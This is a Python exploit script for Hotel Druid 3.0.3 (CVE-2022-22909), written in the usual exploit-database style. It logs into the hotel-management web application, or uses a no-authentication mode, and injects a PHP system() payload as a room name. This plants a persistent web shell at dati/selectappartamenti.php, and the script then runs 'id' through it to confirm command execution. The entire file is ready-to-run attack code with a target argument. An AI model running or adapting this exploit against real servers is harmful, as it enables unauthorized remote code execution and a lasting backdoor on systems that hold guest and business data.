Hotel Druid 3.0.3 Remote Code Execution

# Exploit Title: Hotel Druid 3.0.3 - Remote Code Execution (RCE)
# Date: 05/01/2022
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://www.hoteldruid.com/
# Software Link: https://www.hoteldruid.com/download/hoteldruid_3.0.3.tar.gz
# Version: 3.0.3
# CVE : CVE-2022-22909

#!/usr/bin/python3
import requests
import argparse

def login( target , username = "" , password = "", noauth=False):
  login_data = {
        "vers_hinc" : "1",
        "nome_utente_phpr" : username,
        "password_phpr" : password
        } 
  if not noauth:
    login_req = requests.post(f"{target}/inizio.php" , data=login_data , verify=False )
    if '<a class="nav" id="nb_men" href="./inizio.php?id_sessione=' in login_req.text:
      token = login_req.text.split('<a class="nav" id="nb_men" href="./inizio.php?id_sessione=')[1].split('">&nbsp;<b>')[0]
      anno = login_req.text.split('<input type="hidden" name="anno" value="')[1].split('">')[0]
      ret_data = {"token" : token , "anno" : anno}
      #print("ret data" + ret_data)
      return ret_data
    else:
      return False
  else:
    login_req = requests.get(f"{target}/inizio.php" , verify=False )
    try:
      anno = login_req.text.split('<input type="hidden" name="anno" value="')[1].split('">')[0]
      token = ""
      ret_data = {"token" : token , "anno" : anno}
      return ret_data
    except:
      return False

def check_privilege(target , anno , token=""):
  priv_req = requests.get(f"{target}/visualizza_tabelle.php?id_sessione={token}&tipo_tabella=appartamenti" , verify=False)
  #print(priv_req.text)
  if "Modify" in priv_req.text:
    return True
  else:
    return False

def add_room(target , anno , token=""):
  add_room_data = { 
        "anno": anno,
        "id_sessione": token,
        "n_app":"{${system($_REQUEST['cmd'])}}",
        "crea_app":"SI",
        "crea_letti":"",
        "n_letti":"",
        "tipo_tabella":"appartamenti"
        }
  add_req = requests.post(f"{target}/visualizza_tabelle.php" , data=add_room_data , verify=False)
  #print(add_req.text)
  if "has been added" in add_req.text:
    return True
  else:
    return False
def test_code_execution(target):
  code_execution_req = requests.get(f"{target}/dati/selectappartamenti.php?cmd=id")
  if "uid=" in code_execution_req.text:
    return code_execution_req.text.split("n")[0]
  else:
    return False


def main():

  banner = """n /$$   /$$             /$$               /$$       /$$$$$$$                      /$$       /$$
| $$  | $$            | $$              | $$      | $$__  $$                    |__/      | $$
| $$  | $$  /$$$$$$  /$$$$$$    /$$$$$$ | $$      | $$   $$  /$$$$$$  /$$   /$$ /$$  /$$$$$$$
| $$$$$$$$ /$$__  $$|_  $$_/   /$$__  $$| $$      | $$  | $$ /$$__  $$| $$  | $$| $$ /$$__  $$
| $$__  $$| $$   $$  | $$    | $$$$$$$$| $$      | $$  | $$| $$  __/| $$  | $$| $$| $$  | $$
| $$  | $$| $$  | $$  | $$ /$$| $$_____/| $$      | $$  | $$| $$      | $$  | $$| $$| $$  | $$
| $$  | $$|  $$$$$$/  |  $$$$/|  $$$$$$$| $$      | $$$$$$$/| $$      |  $$$$$$/| $$|  $$$$$$$
|__/  |__/ ______/    ___/   _______/|__/      |_______/ |__/       ______/ |__/ _______/nnExploit By - 0z09e (https://twitter.com/0z09e)nn"""


  parser = argparse.ArgumentParser()
  req_args = parser.add_argument_group('required arguments')
  req_args.add_argument("-t" ,"--target" , help="Target URL. Example : http://10.20.30.40/path/to/hoteldruid" , required=True)
  req_args.add_argument("-u" , "--username" , help="Username" , required=False)
  req_args.add_argument("-p" , "--password" , help="password", required=False)
  req_args.add_argument("--noauth" , action="store_true" , default=False , help="If No authentication is required to access the dashboard", required=False)
  args = parser.parse_args()                                                                         

  target = args.target
  if target[-1] == "/":
    target = target[:-1]
  noauth = args.noauth

  username = args.username
  password = args.password

  if noauth == False and (username == None or password == None):
    print('[-] Please provide the authentication method.' )
    quit()

  print(banner)
  if not noauth:
    print(f"[*] Logging in with the credential {username}:{password}")
    login_result = login(username = username , password = password , target = target)
    if login_result != False:
      token = login_result.get('token')
      anno = login_result.get('anno')
    else:
      print("[-] Login failed, Check your credential or check if login is required or not .")
      quit()
  else:
    print('[*] Trying to access the Dashboard.')
    login_result = login(username = username , password = password , target = target , noauth=True)
    if login_result != False:
      token = login_result.get('token')
      anno = login_result.get('anno') 
    else:
      print('[-] Unable to access the dashboard, Maybe the dashboard is protected with credential.')
      exit()
  print("[*] Checking the privilege of the user.")
  if check_privilege(target= target , token=token , anno=anno):
    print("[+] User has the privilege to add room.")
  else:
    print("[-] User doesn't have the privilege to add room.")
    exit()
  print("[*] Adding a new room.")
  if add_room(target = target , anno=anno , token=token):
    print('[+] Room has been added successfully.')
  else:
    print('[-] Unknown error occured, unable to add room. Maybe the room has already been added')
    exit()
  print('[*] Testing code exection')
  output = test_code_execution(target = target)
  if output != False:
    print(f"[+] Code executed successfully, Go to {target}/dati/selectappartamenti.php and execute the code with the parameter 'cmd'.")
    print(f'[+] Example : {target}/dati/selectappartamenti.php?cmd=id')
    print(f"[+] Example Output : {output}")
    exit()
  else:
    print(f"[-] Code execution failed. If the Target is Windows, Check {target}/dati/selectappartamenti.php and try execute the code with the parameter 'cmd'. Example : {target}/dati/selectappartamenti.php?cmd=hostname")
    exit()
main()